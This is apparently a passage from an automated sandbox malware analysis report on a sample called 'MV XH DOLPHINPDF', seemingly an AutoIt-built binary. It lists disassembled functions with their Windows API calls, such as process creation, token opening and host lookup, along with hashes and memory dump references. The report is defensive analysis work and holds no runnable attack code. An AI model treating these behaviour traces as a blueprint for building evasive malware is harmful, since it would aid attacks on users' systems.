KillTimer.USER32(?,00000001,?,?), ref: 000845B5
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 000845C4
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 000BD6CE

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: a04822c6a0895de62f6637c91cc9cd832ecd7a023c7a04b8694b4b68475ee4b7
Instruction ID: 3f1db87a78a97b309975fa9a5df4ccbdc79c03b0b578a779e3eebff9800d6b03
Opcode Fuzzy Hash: a04822c6a0895de62f6637c91cc9cd832ecd7a023c7a04b8694b4b68475ee4b7
Instruction Fuzzy Hash: 1C21D770904784AFEB729B24D855BEBFBECAF01308F04009FE6DE96242D7B45A858B51

Function 000E40B1 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 000E40D1
_memset.LIBCMT ref: 000E40F2
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 000E4144
CloseHandle.KERNEL32(00000000), ref: 000E414D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 24dd9541707c58f4e31532c24c01a6ba51c876cb2577846e0752d6a2a8406990
Instruction ID: 4dfa45b022db627e2c5ce0d5e5c4cdcec9ad2a2e79873e151404a32d8f50be0c
Opcode Fuzzy Hash: 24dd9541707c58f4e31532c24c01a6ba51c876cb2577846e0752d6a2a8406990
Instruction Fuzzy Hash: 2411A7759012287AD7309BA5AC4DFEBBBBCEF45760F1045AAF908E7180D6744E80CBA4

Function 000F667C Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00085B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,000E7B20,?,?,00000000), ref: 00085B8C
Part of subcall function 00085B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,000E7B20,?,?,00000000,?,?), ref: 00085BB0

gethostbyname.WSOCK32(?,?,?), ref: 000F66AC
WSAGetLastError.WSOCK32(00000000), ref: 000F66B7
_memmove.LIBCMT ref: 000F66E4
inet_ntoa.WSOCK32(?), ref: 000F66EF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 7ad13199c895338d945f3b9ab96aeb79e66a2b8bf3f4deeebf97ac7fc9f2ed65
Instruction ID: 980889c6d946d34818e3e093f21b76a798356f8120743c9da3e0c7ad203b1520
Opcode Fuzzy Hash: 7ad13199c895338d945f3b9ab96aeb79e66a2b8bf3f4deeebf97ac7fc9f2ed65
Instruction Fuzzy Hash: F3116035500508AFCB04FBA4DD86DEEB7B8BF14311B188069F542A7562DF71AE44DB61

Function 000D9023 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 000D9043
SendMessageW.USER32(?,000000C9,?,00000000), ref: 000D9055
SendMessageW.USER32(?,000000C9,?,00000000), ref: 000D906B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 000D9086

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 81bdf21c9f537ad8f679392d74f212ff0ddeb0e8b64b15478d9ca6aeb441c543
Instruction ID: 833df62c7f695cfd02f14ce729b80e5a03546952bf4639eb0a45c4c276730b86
Opcode Fuzzy Hash: 81bdf21c9f537ad8f679392d74f212ff0ddeb0e8b64b15478d9ca6aeb441c543
Instruction Fuzzy Hash: 1E115E79900218FFDB10DFA5CC85E9DBBB4FB48310F204096E904B7250D6726E51DBA0

Function 00081290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

DefDlgProcW.USER32(?,00000020,?), ref: 000812D8
GetClientRect.USER32(?,?), ref: 000BB84B
GetCursorPos.USER32(?), ref: 000BB855
ScreenToClient.USER32(?,?), ref: 000BB860

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 1f758285c693f966075bd400f65d727f786362ce5c7e06aa33a3f69e7726aa4f
Instruction ID: 4043b539a0a1c01a4050774a58c850da946d8c0279bfc089f6771eb9cbb4313a
Opcode Fuzzy Hash: 1f758285c693f966075bd400f65d727f786362ce5c7e06aa33a3f69e7726aa4f
Instruction Fuzzy Hash: 6C113A35900119AFCB10EF94D8869EE77BCFF05311F004456F981E7651D770BAA28BA5

Function 000E1652 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,000E01FD,?,000E1250,?,00008000), ref: 000E166F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,000E01FD,?,000E1250,?,00008000), ref: 000E1694
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,000E01FD,?,000E1250,?,00008000), ref: 000E169E
Sleep.KERNEL32(?,?,?,?,?,?,?,000E01FD,?,000E1250,?,00008000), ref: 000E16D1

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 57e30fb2f58cecc0c940b363930606056db43ec5a6cc29e6615f0290afcc2329
Instruction ID: b500783b080337dfe43d9195190cc7c571fb65ce9c5f382975d2f522e2371cc4
Opcode Fuzzy Hash: 57e30fb2f58cecc0c940b363930606056db43ec5a6cc29e6615f0290afcc2329
Instruction Fuzzy Hash: B5118E31D0051DDBCF10AFA6E849AEEBB78FF09701F044059E980B6640CB7055A0CBD6

Function 000B7207 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 000B722B

Part of subcall function 000B7912: __fltout2.LIBCMT ref: 000B793B

__cftog_l.LIBCMT ref: 000B7251
__cftoe_l.LIBCMT ref: 000B7283

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: bc039388552087eeb371ce7bb7bbf7b765c85cf1c8641f843c8d68834a015cc2
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: C7014C3604814ABBCF565F84CC018EE3F62BFA9351F598615FA1C68031D237C9B1AB81

Function 0010B57F Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0010B59E
ScreenToClient.USER32(?,?), ref: 0010B5B6
ScreenToClient.USER32(?,?), ref: 0010B5DA
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0010B5F5

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 3831aaeb3e2e5a89e6a584e905d93fc5eb915d7493b37651f9a914b3c31fcdb7
Instruction ID: a69a5fc8b6eeaabaefe04410763cb15a3b3e2d04a320c01db829506137a09d20
Opcode Fuzzy Hash: 3831aaeb3e2e5a89e6a584e905d93fc5eb915d7493b37651f9a914b3c31fcdb7
Instruction Fuzzy Hash: 061166B5D04209EFDB11CF99C8859EEFBB9FB08310F104166E954E3620D771AA518F50

Function 0010B8EF Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0010B8FE
_memset.LIBCMT ref: 0010B90D
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00147F20,00147F64), ref: 0010B93C
CloseHandle.KERNEL32 ref: 0010B94E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 98f8143c74092c1b4770df1b9da59b8d6afc1a09d1ad8505c3ca5768979492e5
Instruction ID: 984027bb04d4becad91ebff6fd0e62f4259da718a3b515b9131632b64019a2e2
Opcode Fuzzy Hash: 98f8143c74092c1b4770df1b9da59b8d6afc1a09d1ad8505c3ca5768979492e5
Instruction Fuzzy Hash: 5DF05EB65443007BE2102BB1AC0AFBB7A5CEB0A754F000420BB18E96E2E7B2494587A8

Function 000E6E7C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 000E6E88

Part of subcall function 000E794E: _memset.LIBCMT ref: 000E7983

_memmove.LIBCMT ref: 000E6EAB
_memset.LIBCMT ref: 000E6EB8
LeaveCriticalSection.KERNEL32(?), ref: 000E6EC8

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 8e7abdc6a2c5b834e01a1035e7474df2937b276d91981a1197e735238368072b
Instruction ID: 17119f043ca9efe891e9abb42cfe0a504ac243f7776c07f57171155913ce2cc5
Opcode Fuzzy Hash: 8e7abdc6a2c5b834e01a1035e7474df2937b276d91981a1197e735238368072b
Instruction Fuzzy Hash: E8F0543A100200ABCF116F95DC85ECABB29EF49320F04C065FE085E217C771E951CBB4

Function 0010C00C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 000812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0008134D
Part of subcall function 000812F3: SelectObject.GDI32(?,00000000), ref: 0008135C
Part of subcall function 000812F3: BeginPath.GDI32(?), ref: 00081373
Part of subcall function 000812F3: SelectObject.GDI32(?,00000000), ref: 0008139C

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0010C030
LineTo.GDI32(00000000,?,?), ref: 0010C03D
EndPath.GDI32(00000000), ref: 0010C04D
StrokePath.GDI32(00000000), ref: 0010C05B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 2e5bb4f0e4e75d403cbdb64738d5c5242f1e041e08aaac04e48488a9cb4add1f
Instruction ID: 76fee5496b0594bcac685d62c96158a3c5a74084b6983c78f178ea3bdd068042
Opcode Fuzzy Hash: 2e5bb4f0e4e75d403cbdb64738d5c5242f1e041e08aaac04e48488a9cb4add1f
Instruction Fuzzy Hash: 41F0E235000219FBDB226F50AC0AFCE3F59AF1A310F048104FA51218E287F509A2CFD5

Function 000DA37C Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 000DA399
GetWindowThreadProcessId.USER32(?,00000000), ref: 000DA3AC
GetCurrentThreadId.KERNEL32 ref: 000DA3B3
AttachThreadInput.USER32(00000000), ref: 000DA3BA

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: e14b9e86570ec71aeb50de43ed3cdb4894f0f4f805f6d8581fcc637eeb03a00c
Instruction ID: ee6a22690673b774d7ba2a61606e4a88be30a339f5a3d0b561faccc4c94143a5
Opcode Fuzzy Hash: e14b9e86570ec71aeb50de43ed3cdb4894f0f4f805f6d8581fcc637eeb03a00c
Instruction Fuzzy Hash: 27E0C031645328BADB305B61DC0DED77F5DEF167A1F004029F54995860C6B1C581D7B1

Function 00082218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00082231
SetTextColor.GDI32(?,000000FF), ref: 0008223B
SetBkMode.GDI32(?,00000001), ref: 00082250
GetStockObject.GDI32(00000005), ref: 00082258
GetWindowDC.USER32(?,00000000), ref: 000BC0D3
GetPixel.GDI32(00000000,00000000,00000000), ref: 000BC0E0
GetPixel.GDI32(00000000,?,00000000), ref: 000BC0F9
GetPixel.GDI32(00000000,00000000,?), ref: 000BC112
GetPixel.GDI32(00000000,?,?), ref: 000BC132
ReleaseDC.USER32(?,00000000), ref: 000BC13D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: fd08398cf57ba9488a2296539a53c882284b66b643578ec6a73fb3efdbda4e17
Instruction ID: c75f8bfb96dc829291f62d9f75c9e1d6250fa5db1622740d51cf0c35dd293d75
Opcode Fuzzy Hash: fd08398cf57ba9488a2296539a53c882284b66b643578ec6a73fb3efdbda4e17
Instruction Fuzzy Hash: 2DE06D32100244EAEB715F68FC0EBD83B50EB16332F00837AFAA9588E187B149D1DB11

Function 000D8C5A Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000D8C63
OpenThreadToken.ADVAPI32(00000000,?,?,?,000D882E), ref: 000D8C6A
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,000D882E), ref: 000D8C77
OpenProcessToken.ADVAPI32(00000000,?,?,?,000D882E), ref: 000D8C7E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 3f41ab06f9bea7927534a8622ea014b3004e282dc5967c299b210880e19711c6
Instruction ID: c8dff147aadafd50b19687a31d5ea7533886f6b2e3474e57c9608dfb00305a1f
Opcode Fuzzy Hash: 3f41ab06f9bea7927534a8622ea014b3004e282dc5967c299b210880e19711c6
Instruction Fuzzy Hash: C7E04F36642311DBD7705FB06D0EB573BACEF54792F04882CB285C9840DA748482CB71

Function 000C2187 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 000C2187
GetDC.USER32(00000000), ref: 000C2191
GetDeviceCaps.GDI32(00000000,0000000C), ref: 000C21B1
ReleaseDC.USER32(?), ref: 000C21D2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: bedb21f65d991584cecc1383dbb7e36837b1c1bbfb1250aaea18eda6a0b90ae9
Instruction ID: 3bcd9759cbaaa780201131d715361d00ad4646793147b4c8be6bae9792170e2c
Opcode Fuzzy Hash: bedb21f65d991584cecc1383dbb7e36837b1c1bbfb1250aaea18eda6a0b90ae9
Instruction Fuzzy Hash: 60E01275800604DFDB61AF60C809B9D7BF1FB5C350F108419FD9697A60CB7551829F40

Function 000C219B Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 000C219B
GetDC.USER32(00000000), ref: 000C21A5
GetDeviceCaps.GDI32(00000000,0000000C), ref: 000C21B1
ReleaseDC.USER32(?), ref: 000C21D2

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: af648ba1fd9554707372340b98db0ecea1f535cb89a5322cbfb749ec63cc7264
Instruction ID: 46b7dbfb45c4731806e0f90c2898d7aeb0ec90038a6d9c2e0116d1e425a01e8d
Opcode Fuzzy Hash: af648ba1fd9554707372340b98db0ecea1f535cb89a5322cbfb749ec63cc7264
Instruction Fuzzy Hash: 4BE01A75800604AFCB61AFB0C80969D7BF2FB4C310F108029F99A97A60CBB991829F40

Function 000DB7B6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 000DB981

Strings

Container, xrefs: 000DB8FE
AutoIt3GUI, xrefs: 000DB8F9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: be84e6a0de76585a66db151810de343ee84f6aa05df4757085e099e35eb848f1
Instruction ID: d67a5d4cafbf8f04e4e57cc09d9f3cd0527070f278d443408eacb1d521bd0d45
Opcode Fuzzy Hash: be84e6a0de76585a66db151810de343ee84f6aa05df4757085e099e35eb848f1
Instruction Fuzzy Hash: C1913870600301DFDB64DF68C884A6ABBE8FF49710F25856EE94ADB791DB71E840CB60

Function 000EB217 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0009FEC6: _wcscpy.LIBCMT ref: 0009FEE9

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

__wcsnicmp.LIBCMT ref: 000EB298
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 000EB361

Strings

LPT, xrefs: 000EB292

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
